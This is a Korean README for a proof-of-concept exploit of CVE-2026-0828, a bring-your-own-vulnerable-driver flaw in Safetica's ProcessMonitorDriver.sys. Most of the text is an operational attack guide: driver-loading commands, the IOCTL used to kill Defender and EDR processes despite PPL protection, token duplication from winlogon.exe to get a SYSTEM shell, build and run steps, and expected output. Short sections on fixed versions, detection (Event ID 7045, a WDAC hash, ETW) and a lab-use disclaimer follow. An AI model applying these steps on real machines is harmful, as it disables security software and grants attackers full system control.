
CVE-2026-0828에 대한 개념 증명 익스플로잇으로, Safetica ProcessMonitorDriver.sys의 BYOVD 취약점으로 인해 권한이 없는 사용자가 PPL로 보호된 프로세스를 종료할 수 있으며, IOCTL 남용과 토큰 복제를 통해 로컬 권한 상승으로 SYSTEM 권한을 획득할 수 있습니다.
Safetica DLP 커널 드라이버(ProcessMonitorDriver.sys)는 인증되지 않은 IOCTL을 노출하며, 이를 통해 임의의 사용자 모드 호출자가 커널 컨텍스트에서 ZwTerminateProcess를 사용해 임의의 프로세스를 종료할 수 있어 PPL(Protected Process Light) 보호를 우회할 수 있습니다.
CVSS: 8.8 (High) · 유형: BYOVD, LPE · 플랫폼: Windows x64
IOCTL 0xB822200C에 대한 IRP_MJ_DEVICE_CONTROL 핸들러는 ZwOpenProcess를 PROCESS_ALL_ACCESS (0x1FFFFF) 권한으로 호출하고, 이어서 입력 버퍼에서 직접 제공된 PID를 사용하여 ZwTerminateProcess를 호출합니다. 권한 또는 호출자 검증이 전혀 없습니다.
// 취약한 핸들러 (IDA 의사 코드)
ClientId.UniqueProcess = **(HANDLE **)(irp->AssociatedIrp.SystemBuffer);
ZwOpenProcess(&ProcessHandle, 0x1FFFFFu, &ObjectAttributes, &ClientId);
ZwTerminateProcess(ProcessHandle, 0); // SeSinglePrivilegeCheck 없음, ExGetPreviousMode 검사 없음
호출이 커널 컨텍스트에서 발생하므로 PPL로 보호되는 프로세스(Windows Defender, EDR 에이전트)를 종료할 수 있습니다.
영향받는 버전: Safetica < 11.26.19 / < 10.5.150
수정된 버전: Safetica 11.26.19, 11.29.8, 10.5.150 — IOCTL 핸들러에 권한 검사 추가
참고 자료: KOSEC Advisory · CERT VU#818729
관리자 권한
│
├─► Load ProcessMonitorDriver.sys
│ sc create STProcessMonitor type=kernel binPath=...
│
├─► 1단계: IOCTL 0xB822200C로 EDR 제거
│ DeviceIoControl(\\.\STProcessMonitorDriver, 0xB822200C, &pid, 8, ...)
│ → ZwTerminateProcess(Defender/EDR, 0) [커널 컨텍스트, PPL 우회됨]
│
└─► 2단계: 토큰 복제 → SYSTEM 셸
AdjustTokenPrivileges(SeDebugPrivilege)
OpenProcess(winlogon.exe)
DuplicateTokenEx(TokenPrimary)
CreateProcessWithTokenW(cmd.exe)
→ NT AUTHORITY\SYSTEM
| 파일 | 설명 |
|---|---|
exploit.c | 전체 PoC — EDR 종료, NT AUTHORITY\SYSTEM cmd.exe 실행 |
Visual Studio(x64 Native Tools Command Prompt) 필요:
cl.exe /W3 /O1 /nologo exploit.c /Fe:exploit.exe
1단계 — 드라이버 로드 (관리자 CMD):
sc create STProcessMonitor type= kernel binPath= "C:\path\to\ProcessMonitorDriver.sys"
sc start STProcessMonitor
2단계 — PoC 실행:
exploit.exe
예상 출력:
[Phase 1] Killing EDR via CVE-2026-0828...
MsMpEng.exe PID 3412 -> KILLED
NisSrv.exe PID 4180 -> KILLED
SeDebugPrivilege enabled
winlogon.exe -> pid 560
[+] Got SYSTEM token handle.
[+] Token duplicated.
shell spawned
새로운 cmd.exe 창이 NT AUTHORITY\SYSTEM 권한으로 열립니다.
이벤트 ID 7045 — 새 커널 서비스 설치:
Service Name: STProcessMonitor
Service File Name: ...\ProcessMonitorDriver.sys
Service Type: kernel mode driver
WDAC 차단 목록 (SHA256):
70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
ETW: \\.\STProcessMonitorDriver에 대한 DeviceIoControl 호출 모니터링.
승인된 보안 연구 및 실험실 사용 전용입니다. 소유하지 않았거나 서면 테스트 허가를 받지 않은 시스템에 사용하지 마십시오.